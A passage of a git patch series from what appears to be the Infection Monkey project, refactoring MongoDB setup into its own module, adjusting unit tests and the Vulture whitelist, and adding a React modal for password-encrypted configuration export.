str]: server_config_path = os.path.expandvars(os.path.expanduser(server_config_path)) config = server_config_handler.load_server_config_from_file(server_config_path) - - create_data_dir(config.data_dir, create_parent_dirs=True) + create_secure_directory(config.data_dir, create_parent_dirs=True) return config, server_config_path def setup_default_config() -> Tuple[IslandConfigOptions, str]: server_config_path = DEFAULT_SERVER_CONFIG_PATH - create_data_dir(DEFAULT_DATA_DIR, create_parent_dirs=False) + create_secure_directory(DEFAULT_DATA_DIR, create_parent_dirs=False) server_config_handler.create_default_server_config_file() config = server_config_handler.load_server_config_from_file(server_config_path) return config, server_config_path From 289f3df7e4eaa876a1e63027a3ca643bf55dd465 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 24 May 2021 08:45:00 +0300 Subject: [PATCH 0593/1360] Implemented mongodb process launch from the island --- monkey/monkey_island/cc/main.py | 10 ++++++-- .../cc/setup/test_mongo_setup.py | 24 +++++++++++++++++++ 2 files changed, 32 insertions(+), 2 deletions(-) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_setup.py diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index af84666e81d..3ee5e20e136 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -25,18 +25,24 @@ from monkey_island.cc.app import init_app # noqa: E402 from monkey_island.cc.database import get_db_version # noqa: E402 from monkey_island.cc.database import is_db_server_up # noqa: E402 +from monkey_island.cc.mongo_setup import init_collections, launch_mongodb # noqa: E402 from monkey_island.cc.resources.monkey_download import MonkeyDownload # noqa: E402 from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402 from monkey_island.cc.server_utils.encryptor import initialize_encryptor # noqa: E402 from monkey_island.cc.services.initialize import initialize_services # noqa: E402 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 -from monkey_island.cc.setup.mongo_process_runner import MongoDbRunner # noqa: E402 +from monkey_island.cc.setup.mongo_process_runner import ( # noqa: E402 + MongoDbRunner, + init_collections, +) MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0" -def main(setup_only: bool, config_options: IslandConfigOptions): +def main(setup_only: bool, server_config_path: str, config_options: IslandConfigOptions): + + env_singleton.initialize_from_file(server_config_path) initialize_encryptor(config_options.data_dir) initialize_services(config_options.data_dir) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_setup.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_setup.py new file mode 100644 index 00000000000..388e1a6c06e --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_setup.py @@ -0,0 +1,24 @@ +import os + +from monkey_island.cc.setup.mongo_setup import _create_db_dir + + +def test_create_db_dir(monkeypatch, tmpdir): + test_dir_name = "test_dir" + monkeypatch.setattr("monkey_island.cc.setup.mongo_setup.DB_DIR_NAME", test_dir_name) + expected_path = os.path.join(tmpdir, test_dir_name) + + db_path = _create_db_dir(tmpdir) + assert os.path.isdir(expected_path) + assert db_path == expected_path + + +def test_create_db_dir_already_created(monkeypatch, tmpdir): + test_dir_name = "test_dir" + monkeypatch.setattr("monkey_island.cc.setup.mongo_setup.DB_DIR_NAME", test_dir_name) + expected_path = os.path.join(tmpdir, test_dir_name) + os.mkdir(expected_path) + + db_path = _create_db_dir(tmpdir) + assert os.path.isdir(expected_path) + assert db_path == expected_path From 2e600fd5b272b10772ab59dcba555c62175c7758 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 26 May 2021 16:28:32 +0300 Subject: [PATCH 0594/1360] Decoupled mongo setup from environment config --- monkey/monkey_island.py | 6 +- .../monkey_island/cc/environment/__init__.py | 23 ------ monkey/monkey_island/cc/models/__init__.py | 11 --- .../cc/{main.py => server_setup.py} | 76 +++++-------------- .../monkey_island/cc/setup/mongo/__init__.py | 0 .../setup/{ => mongo}/database_initializer.py | 0 .../cc/setup/mongo/mongo_connector.py | 9 +++ .../setup/{ => mongo}/mongo_process_runner.py | 0 .../cc/setup/mongo/mongo_setup.py | 53 +++++++++++++ 9 files changed, 81 insertions(+), 97 deletions(-) rename monkey/monkey_island/cc/{main.py => server_setup.py} (56%) create mode 100644 monkey/monkey_island/cc/setup/mongo/__init__.py rename monkey/monkey_island/cc/setup/{ => mongo}/database_initializer.py (100%) create mode 100644 monkey/monkey_island/cc/setup/mongo/mongo_connector.py rename monkey/monkey_island/cc/setup/{ => mongo}/mongo_process_runner.py (100%) create mode 100644 monkey/monkey_island/cc/setup/mongo/mongo_setup.py diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 82b930a3e14..02d2584c931 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -3,7 +3,6 @@ import json -import monkey_island.cc.environment.environment_singleton as env_singleton from monkey_island.cc.arg_parser import parse_cli_args from monkey_island.cc.server_utils.island_logger import setup_logging from monkey_island.setup.config_setup import setup_config_by_cmd_arg, setup_default_config @@ -32,8 +31,7 @@ # We need to initialize environment singleton before importing main, # because main imports modules from monkey_island/cc/models and models need a connection to the # mongodb. Mongodb connection parameters are initialized in environment singleton. - env_singleton.initialize_from_file(server_config_path) - from monkey_island.cc.main import main # noqa: E402 + from monkey_island.cc.server_setup import setup_island # noqa: E402 - main(island_args.setup_only, config) + setup_island(island_args.setup_only, config, server_config_path) diff --git a/monkey/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py index 13d57016049..9be1e90a805 100644 --- a/monkey/monkey_island/cc/environment/__init__.py +++ b/monkey/monkey_island/cc/environment/__init__.py @@ -1,5 +1,4 @@ import logging -import os from abc import ABCMeta, abstractmethod from datetime import timedelta @@ -18,13 +17,6 @@ class Environment(object, metaclass=ABCMeta): _ISLAND_PORT = 5000 - _MONGO_DB_NAME = "monkeyisland" - _MONGO_DB_HOST = "localhost" - _MONGO_DB_PORT = 27017 - _MONGO_URL = os.environ.get( - "MONKEY_MONGO_URL", - "mongodb://{0}:{1}/{2}".format(_MONGO_DB_HOST, _MONGO_DB_PORT, str(_MONGO_DB_NAME)), - ) _DEBUG_SERVER = False _AUTH_EXPIRATION_TIME = timedelta(minutes=30) @@ -96,9 +88,6 @@ def get_config(self) -> EnvironmentConfig: def get_island_port(self): return self._ISLAND_PORT - def get_mongo_url(self): - return self._MONGO_URL - def is_debug(self): return self._DEBUG_SERVER @@ -110,15 +99,3 @@ def get_deployment(self) -> str: if self._config and self._config.deployment: deployment = self._config.deployment return deployment - - @property - def mongo_db_name(self): - return self._MONGO_DB_NAME - - @property - def mongo_db_host(self): - return self._MONGO_DB_HOST - - @property - def mongo_db_port(self): - return self._MONGO_DB_PORT diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index d787a59ef7e..50dec3f95ff 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -1,7 +1,3 @@ -from mongoengine import connect - -import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402 - from .command_control_channel import CommandControlChannel # noqa: F401, E402 # Order of importing matters here, for registering the embedded and referenced documents before @@ -11,10 +7,3 @@ from .monkey import Monkey # noqa: F401, E402 from .monkey_ttl import MonkeyTtl # noqa: F401, E402 from .pba_results import PbaResults # noqa: F401, E402 - -# TODO refactor into explicit call when implementing mongodb startup -connect( - db=env_singleton.env.mongo_db_name, - host=env_singleton.env.mongo_db_host, - port=env_singleton.env.mongo_db_port, -) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/server_setup.py similarity index 56% rename from monkey/monkey_island/cc/main.py rename to monkey/monkey_island/cc/server_setup.py index 3ee5e20e136..208055173bf 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -1,72 +1,55 @@ import logging import os import sys -import time from pathlib import Path from threading import Thread -# Add the monkey_island directory to the path, to make sure imports that don't start with -# "monkey_island." work. from gevent.pywsgi import WSGIServer -from monkey_island.cc.setup.database_initializer import init_collections -from monkey_island.setup.island_config_options import IslandConfigOptions - +# Add the monkey_island directory to the path, to make sure imports that don't start with +# "monkey_island." work. MONKEY_ISLAND_DIR_BASE_PATH = str(Path(__file__).parent.parent) if str(MONKEY_ISLAND_DIR_BASE_PATH) not in sys.path: sys.path.insert(0, MONKEY_ISLAND_DIR_BASE_PATH) -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH # noqa: E402 - -logger = logging.getLogger(__name__) - import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402 from common.version import get_version # noqa: E402 from monkey_island.cc.app import init_app # noqa: E402 -from monkey_island.cc.database import get_db_version # noqa: E402 -from monkey_island.cc.database import is_db_server_up # noqa: E402 -from monkey_island.cc.mongo_setup import init_collections, launch_mongodb # noqa: E402 from monkey_island.cc.resources.monkey_download import MonkeyDownload # noqa: E402 from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402 +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH # noqa: E402 from monkey_island.cc.server_utils.encryptor import initialize_encryptor # noqa: E402 from monkey_island.cc.services.initialize import initialize_services # noqa: E402 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 -from monkey_island.cc.setup.mongo_process_runner import ( # noqa: E402 - MongoDbRunner, - init_collections, -) - -MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0" +from monkey_island.cc.setup.mongo.database_initializer import init_collections # noqa: E402 +from monkey_island.cc.setup.mongo.mongo_setup import MONGO_URL, setup_mongodb # noqa: E402 +from monkey_island.setup.island_config_options import IslandConfigOptions # noqa: E402 +logger = logging.getLogger(__name__) -def main(setup_only: bool, server_config_path: str, config_options: IslandConfigOptions): +def setup_island(setup_only: bool, config_options: IslandConfigOptions, server_config_path: str): env_singleton.initialize_from_file(server_config_path) + initialize_encryptor(config_options.data_dir) initialize_services(config_options.data_dir) - mongo_url = os.environ.get("MONGO_URL", env_singleton.env.get_mongo_url()) bootloader_server_thread = Thread( - target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True + target=BootloaderHttpServer(MONGO_URL).serve_forever, daemon=True ) bootloader_server_thread.start() - start_island_server(setup_only, config_options) + _start_island_server(setup_only, config_options) bootloader_server_thread.join() -def start_island_server(should_setup_only, config_options: IslandConfigOptions): - if config_options.start_mongodb: - MongoDbRunner( - db_dir_parent_path=config_options.data_dir, logging_dir_path=config_options.data_dir - ).launch_mongodb() - mongo_url = os.environ.get("MONGO_URL", env_singleton.env.get_mongo_url()) - wait_for_mongo_db_server(mongo_url) - assert_mongo_db_version(mongo_url) +def _start_island_server(should_setup_only, config_options: IslandConfigOptions): + + setup_mongodb(config_options) populate_exporter_list() - app = init_app(mongo_url) + app = init_app(MONGO_URL) crt_path = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.crt")) key_path = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.key")) @@ -86,11 +69,11 @@ def start_island_server(should_setup_only, config_options: IslandConfigOptions): certfile=os.environ.get("SERVER_CRT", crt_path), keyfile=os.environ.get("SERVER_KEY", key_path), ) - log_init_info() + _log_init_info() http_server.serve_forever() -def log_init_info(): +def _log_init_info(): logger.info("Monkey Island Server is running!") logger.info(f"version: {get_version()}") logger.info( @@ -104,28 +87,3 @@ def log_init_info(): ) ) MonkeyDownload.log_executable_hashes() - - -def wait_for_mongo_db_server(mongo_url): - while not is_db_server_up(mongo_url): - logger.info("Waiting for MongoDB server on {0}".format(mongo_url)) - time.sleep(1) - - -def assert_mongo_db_version(mongo_url): - """ - Checks if the mongodb version is new enough for running the app. - If the DB is too old, quits. - :param mongo_url: URL to the mongo the Island will use - """ - required_version = tuple(MINIMUM_MONGO_DB_VERSION_REQUIRED.split(".")) - server_version = get_db_version(mongo_url) - if server_version < required_version: - logger.error( - "Mongo DB version too old. {0} is required, but got {1}".format( - str(required_version), str(server_version) - ) - ) - sys.exit(-1) - else: - logger.info("Mongo DB version OK. Got {0}".format(str(server_version))) diff --git a/monkey/monkey_island/cc/setup/mongo/__init__.py b/monkey/monkey_island/cc/setup/mongo/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/monkey/monkey_island/cc/setup/database_initializer.py b/monkey/monkey_island/cc/setup/mongo/database_initializer.py similarity index 100% rename from monkey/monkey_island/cc/setup/database_initializer.py rename to monkey/monkey_island/cc/setup/mongo/database_initializer.py diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_connector.py b/monkey/monkey_island/cc/setup/mongo/mongo_connector.py new file mode 100644 index 00000000000..aebbb084394 --- /dev/null +++ b/monkey/monkey_island/cc/setup/mongo/mongo_connector.py @@ -0,0 +1,9 @@ +from mongoengine import connect + +MONGO_DB_NAME = "monkeyisland" +MONGO_DB_HOST = "localhost" +MONGO_DB_PORT = 27017 + + +def connect_dal_to_mongodb(db=MONGO_DB_NAME, host=MONGO_DB_HOST, port=MONGO_DB_PORT): + connect(db=db, host=host, port=port) diff --git a/monkey/monkey_island/cc/setup/mongo_process_runner.py b/monkey/monkey_island/cc/setup/mongo/mongo_process_runner.py similarity index 100% rename from monkey/monkey_island/cc/setup/mongo_process_runner.py rename to monkey/monkey_island/cc/setup/mongo/mongo_process_runner.py diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py new file mode 100644 index 00000000000..ad523ce98b9 --- /dev/null +++ b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py @@ -0,0 +1,53 @@ +import logging +import os +import sys +import time + +from monkey_island.cc.database import get_db_version, is_db_server_up +from monkey_island.cc.setup.mongo import mongo_connector +from monkey_island.cc.setup.mongo.mongo_connector import MONGO_DB_HOST, MONGO_DB_NAME, MONGO_DB_PORT +from monkey_island.cc.setup.mongo.mongo_process_runner import MongoDbRunner +from monkey_island.setup.island_config_options import IslandConfigOptions + +MONGO_URL = os.environ.get( + "MONKEY_MONGO_URL", + "mongodb://{0}:{1}/{2}".format(MONGO_DB_HOST, MONGO_DB_PORT, MONGO_DB_NAME), +) +MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0" + +logger = logging.getLogger(__name__) + + +def setup_mongodb(config_options: IslandConfigOptions): + if config_options.start_mongodb: + MongoDbRunner( + db_dir_parent_path=config_options.data_dir, logging_dir_path=config_options.data_dir + ).launch_mongodb() + wait_for_mongo_db_server(MONGO_URL) + assert_mongo_db_version(MONGO_URL) + mongo_connector.connect_dal_to_mongodb() + + +def wait_for_mongo_db_server(mongo_url): + while not is_db_server_up(mongo_url): + logger.info("Waiting for MongoDB server on {0}".format(mongo_url)) + time.sleep(1) + + +def assert_mongo_db_version(mongo_url): + """ + Checks if the mongodb version is new enough for running the app. + If the DB is too old, quits. + :param mongo_url: URL to the mongo the Island will use + """ + required_version = tuple(MINIMUM_MONGO_DB_VERSION_REQUIRED.split(".")) + server_version = get_db_version(mongo_url) + if server_version < required_version: + logger.error( + "Mongo DB version too old. {0} is required, but got {1}".format( + str(required_version), str(server_version) + ) + ) + sys.exit(-1) + else: + logger.info("Mongo DB version OK. Got {0}".format(str(server_version))) From f2c8de9eb603ae12090b5d960155309add11d6b6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 26 May 2021 16:32:26 +0300 Subject: [PATCH 0595/1360] Improved unit test readability and fixed bugs related to refactoring of mongodb parameters in environment config --- monkey/tests/unit_tests/monkey_island/cc/conftest.py | 8 -------- .../monkey_island/cc/services/test_config.py | 12 ++++++++++++ .../monkey_island/cc/setup/test_process_runner.py | 0 whitelist.py | 3 +-- 4 files changed, 13 insertions(+), 10 deletions(-) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/setup/test_process_runner.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py index 4bccfd862b7..4a40765a5b9 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -1,11 +1,3 @@ -import monkey_island.cc.environment.environment_singleton as env_singleton -from monkey_island.cc.environment.testing import TestingEnvironment - -# Mock environment singleton because it contains mongodb parameters -# needed for model tests. See monkey/monkey_island/cc/models/__init__.py -env_config = {} -env_singleton.env = TestingEnvironment(env_config) - # Without these imports pytests can't use fixtures, # because they are not found from tests.unit_tests.monkey_island.cc.mongomock_fixtures import * # noqa: F401,F403,E402 diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index c5e30dbd2bb..cc0e94ceb8e 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -19,6 +19,18 @@ def config(monkeypatch): return config +class MockClass: + pass + + +@pytest.fixture(scope="function", autouse=True) +def mock_port_in_env_singleton(monkeypatch): + mock_singleton = MockClass() + mock_singleton.env = MockClass() + mock_singleton.env.get_island_port = lambda: PORT + monkeypatch.setattr("monkey_island.cc.services.config.env_singleton", mock_singleton) + + def test_set_server_ips_in_config_command_servers(config): ConfigService.set_server_ips_in_config(config) expected_config_command_servers = [f"{ip}:{PORT}" for ip in IPS] diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_process_runner.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_process_runner.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/whitelist.py b/whitelist.py index 6739d47919d..e943c2729d2 100644 --- a/whitelist.py +++ b/whitelist.py @@ -166,8 +166,7 @@ DigitalOcean # unused variable (monkey/common/cloud/environment_names.py:12) _.aws_info # unused attribute (monkey/monkey_island/cc/environment/aws.py:13) build_from_config_file_contents # unused method 'build_from_config_file_contents' (\monkey_island\setup\island_config_options.py:18) -fake_db_dir # unused function 'fake_db_dir' (monkey/tests/unit_tests/monkey_island/cc/setup/test_process_runner.py:10) - +mock_port_in_env_singleton # monkey\tests\unit_tests\monkey_island\cc\services\test_config.py:26: # these are not needed for it to work, but may be useful extra information to understand what's going on WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) From dbade5951caaf35902ba22487b0be4c69aef3da6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 27 May 2021 16:02:01 +0300 Subject: [PATCH 0596/1360] Removed unused unit test - test_mongo_setup.py. This is mongo setup tests db dir creation, which is already tested in test_utils.py --- .../cc/setup/test_mongo_setup.py | 24 ------------------- 1 file changed, 24 deletions(-) delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_setup.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_setup.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_setup.py deleted file mode 100644 index 388e1a6c06e..00000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_mongo_setup.py +++ /dev/null @@ -1,24 +0,0 @@ -import os - -from monkey_island.cc.setup.mongo_setup import _create_db_dir - - -def test_create_db_dir(monkeypatch, tmpdir): - test_dir_name = "test_dir" - monkeypatch.setattr("monkey_island.cc.setup.mongo_setup.DB_DIR_NAME", test_dir_name) - expected_path = os.path.join(tmpdir, test_dir_name) - - db_path = _create_db_dir(tmpdir) - assert os.path.isdir(expected_path) - assert db_path == expected_path - - -def test_create_db_dir_already_created(monkeypatch, tmpdir): - test_dir_name = "test_dir" - monkeypatch.setattr("monkey_island.cc.setup.mongo_setup.DB_DIR_NAME", test_dir_name) - expected_path = os.path.join(tmpdir, test_dir_name) - os.mkdir(expected_path) - - db_path = _create_db_dir(tmpdir) - assert os.path.isdir(expected_path) - assert db_path == expected_path From 3240e1138e8f46ea99476bef4df0d81b5be3c561 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 27 May 2021 13:36:39 +0300 Subject: [PATCH 0597/1360] Sketched out export config modal infrastructure --- .../ExportConfigModal.tsx | 53 +++++++++++++++++++ .../ui/src/components/pages/ConfigurePage.js | 17 +++++- 2 files changed, 68 insertions(+), 2 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx new file mode 100644 index 00000000000..1f2dedba3d0 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx @@ -0,0 +1,53 @@ +import {Button, Modal, Form} from 'react-bootstrap'; +import React from 'react'; + +type Props = { + show: boolean, + onClick: () => void +} + + +const PasswordInput = (props) => { + return ( +
    +

    Encrypt with a password:

    + +
    + ) +} + + +const ConfigExportModal = (props: Props) => { + return ( + + + Configuration export + + +
    + } + /> + + +
    +
    + + + + +
    ) +} + +export default ConfigExportModal; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 4cae9b2bf27..9b2251cd874 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -14,6 +14,7 @@ import InternalConfig from '../configuration-components/InternalConfig'; import UnsafeOptionsConfirmationModal from '../configuration-components/UnsafeOptionsConfirmationModal.js'; import UnsafeOptionsWarningModal from '../configuration-components/UnsafeOptionsWarningModal.js'; import isUnsafeOptionSelected from '../utils/SafeOptionValidator.js'; +import ConfigExportModal from '../configuration-components/ExportConfigModal'; const ATTACK_URL = '/api/attack'; const CONFIG_URL = '/api/configuration/island'; @@ -40,7 +41,8 @@ class ConfigurePageComponent extends AuthComponent { selectedSection: 'attack', showAttackAlert: false, showUnsafeOptionsConfirmation: false, - showUnsafeAttackOptionsWarning: false + showUnsafeAttackOptionsWarning: false, + showConfigExportModal: false }; } @@ -220,6 +222,14 @@ class ConfigurePageComponent extends AuthComponent { this.setState({configuration: newConfig, lastAction: 'none'}); }; + renderConfigExportModal = () => { + return ()} + + onExport = () => { + this.setState({showConfigExportModal: false}) + } + renderAttackAlertModal = () => { return ( { this.setState({showAttackAlert: false}) @@ -488,6 +498,7 @@ class ConfigurePageComponent extends AuthComponent { + {this.renderConfigExportModal()} {this.renderAttackAlertModal()} {this.renderUnsafeOptionsConfirmationModal()} {this.renderUnsafeAttackOptionsWarningModal()} @@ -509,7 +520,9 @@ class ConfigurePageComponent extends AuthComponent { -

    From d0f5893e41fb790c7fc6b2ad9d7839f9d87022d9 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 28 May 2021 10:57:31 +0300 Subject: [PATCH 0598/1360] Finished up the configuration export modal and it's styling. --- .../ExportConfigModal.tsx | 116 ++++++++++++++---- .../ExportConfigModal.scss | 30 +++++ 2 files changed, 119 insertions(+), 27 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ExportConfigModal.scss diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx index 1f2dedba3d0..f0ac91d5236 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx @@ -1,53 +1,115 @@ import {Button, Modal, Form} from 'react-bootstrap'; -import React from 'react'; +import React, {useState} from 'react'; + +import AuthComponent from '../AuthComponent'; +import '../../styles/components/configuration-components/ExportConfigModal.scss'; + type Props = { show: boolean, onClick: () => void } +const ConfigExportModal = (props: Props) => { + // TODO implement the back end + const configExportEndpoint = '/api/configuration/export'; -const PasswordInput = (props) => { - return ( -
    -

    Encrypt with a password:

    - -
    - ) -} + const [pass, setPass] = useState(''); + const [radioValue, setRadioValue] = useState('password'); + const authComponent = new AuthComponent({}); + function isExportBtnDisabled() { + return pass === '' && radioValue === 'password'; + } + + function onSubmit() { + authComponent.authFetch(configExportEndpoint, + { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify({ + should_encrypt: (radioValue === 'password'), + password: pass + }) + } + ) + } -const ConfigExportModal = (props: Props) => { return ( + size={'lg'} + className={'config-export-modal'}> Configuration export -
    - } - /> - - +
    +
    + } + name={'export-choice'} + value={'password'} + onChange={evt => { + setRadioValue(evt.target.value) + }} + checked={radioValue === 'password'} + /> + + +
    - - ) } +const PasswordInput = (props: { + onChange: (passValue) => void +}) => { + return ( +
    +

    Encrypt with a password:

    + (props.onChange(evt.target.value))}/> +
    + ) +} + +const ExportPlaintextChoiceField = (props: { + radioValue: string, + onChange: (radioValue) => void +}) => { + return ( +
    + { + props.onChange(evt.target.value); + }} + /> +

    + Configuration might contain stolen credentials or sensitive data.
    + It is advised to use password encryption option. +

    +
    + ) +} + + export default ConfigExportModal; diff --git a/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ExportConfigModal.scss b/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ExportConfigModal.scss new file mode 100644 index 00000000000..78add3bb37a --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ExportConfigModal.scss @@ -0,0 +1,30 @@ +.config-export-modal .config-export-password-input p { + display: inline-block; + width: auto; + margin-top: 0; + margin-bottom: 0; + margin-right: 10px; +} + +.config-export-modal .export-type-radio-buttons +.password-radio-button .config-export-password-input input { + display: inline-block; + width: auto; + top: 0; + transform: none; +} + +.config-export-modal .export-type-radio-buttons .password-radio-button input{ + margin-top: 0; + top: 50%; + -ms-transform: translateY(-50%); + transform: translateY(-50%); +} + +.config-export-modal div.config-export-plaintext p.export-warning { + margin-left: 20px; +} + +.config-export-modal div.config-export-plaintext { + margin-top: 15px; +} From a0487f480b715bfcb04006624b6bfef32f165217 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 28 May 2021 14:56:44 +0530 Subject: [PATCH 0599/1360] Update export config modal message for plaintext export --- .../components/configuration-components/ExportConfigModal.tsx | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx index f0ac91d5236..48a4d3df587 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx @@ -104,8 +104,8 @@ const ExportPlaintextChoiceField = (props: { }} />

    - Configuration might contain stolen credentials or sensitive data.
    - It is advised to use password encryption option. + Configuration may contain stolen credentials or sensitive data.
    + It is advised to use password encryption.

    ) From eae63bd3c653ec3e7452509e2f58c01e189538c3 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 28 May 2021 13:26:13 +0300 Subject: [PATCH 0600/1360] Deleted empty test file, removed irrelevant comments and moved import to the top in monkey_island.py --- monkey/monkey_island.py | 7 +------ .../monkey_island/cc/setup/test_process_runner.py | 0 2 files changed, 1 insertion(+), 6 deletions(-) delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/setup/test_process_runner.py diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 02d2584c931..f96314c63ee 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -4,6 +4,7 @@ import json from monkey_island.cc.arg_parser import parse_cli_args +from monkey_island.cc.server_setup import setup_island from monkey_island.cc.server_utils.island_logger import setup_logging from monkey_island.setup.config_setup import setup_config_by_cmd_arg, setup_default_config @@ -28,10 +29,4 @@ print(f"Error loading server config: {ex}") exit(1) - # We need to initialize environment singleton before importing main, - # because main imports modules from monkey_island/cc/models and models need a connection to the - # mongodb. Mongodb connection parameters are initialized in environment singleton. - - from monkey_island.cc.server_setup import setup_island # noqa: E402 - setup_island(island_args.setup_only, config, server_config_path) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_process_runner.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_process_runner.py deleted file mode 100644 index e69de29bb2d..00000000000 From 0c323929a2682e37b78b6b3315f4f86b5706a49a Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 28 May 2021 19:31:32 +0530 Subject: [PATCH 0601/1360] Configure Vulture to ignore directory: tests/unit_tests/ --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index d67c57cf664..4b28ec709bd 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -23,5 +23,5 @@ addopts = "-v --capture=sys tests" norecursedirs = "node_modules dist" [tool.vulture] -exclude = ["monkey/monkey_island/cc/ui"] +exclude = ["monkey/monkey_island/cc/ui/", "monkey/tests/unit_tests/"] paths = ["."] From c165b0e4eaa98f02e61201dbaaea5eb545c29cc6 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 28 May 2021 19:35:33 +0530 Subject: [PATCH 0602/1360] Since tests/unit_tests/ is now skipped by Vulture, add code used only by tests to whitelist Add the code which exists in common/, monkey_island/, or infection_monkey/, but is used in tests/unit_tests/, to the whitelist file. --- whitelist.py | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/whitelist.py b/whitelist.py index e943c2729d2..29c3dfc598c 100644 --- a/whitelist.py +++ b/whitelist.py @@ -186,3 +186,20 @@ LOG_DIR_NAME # unused variable (envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py:8) delete_logs # unused function 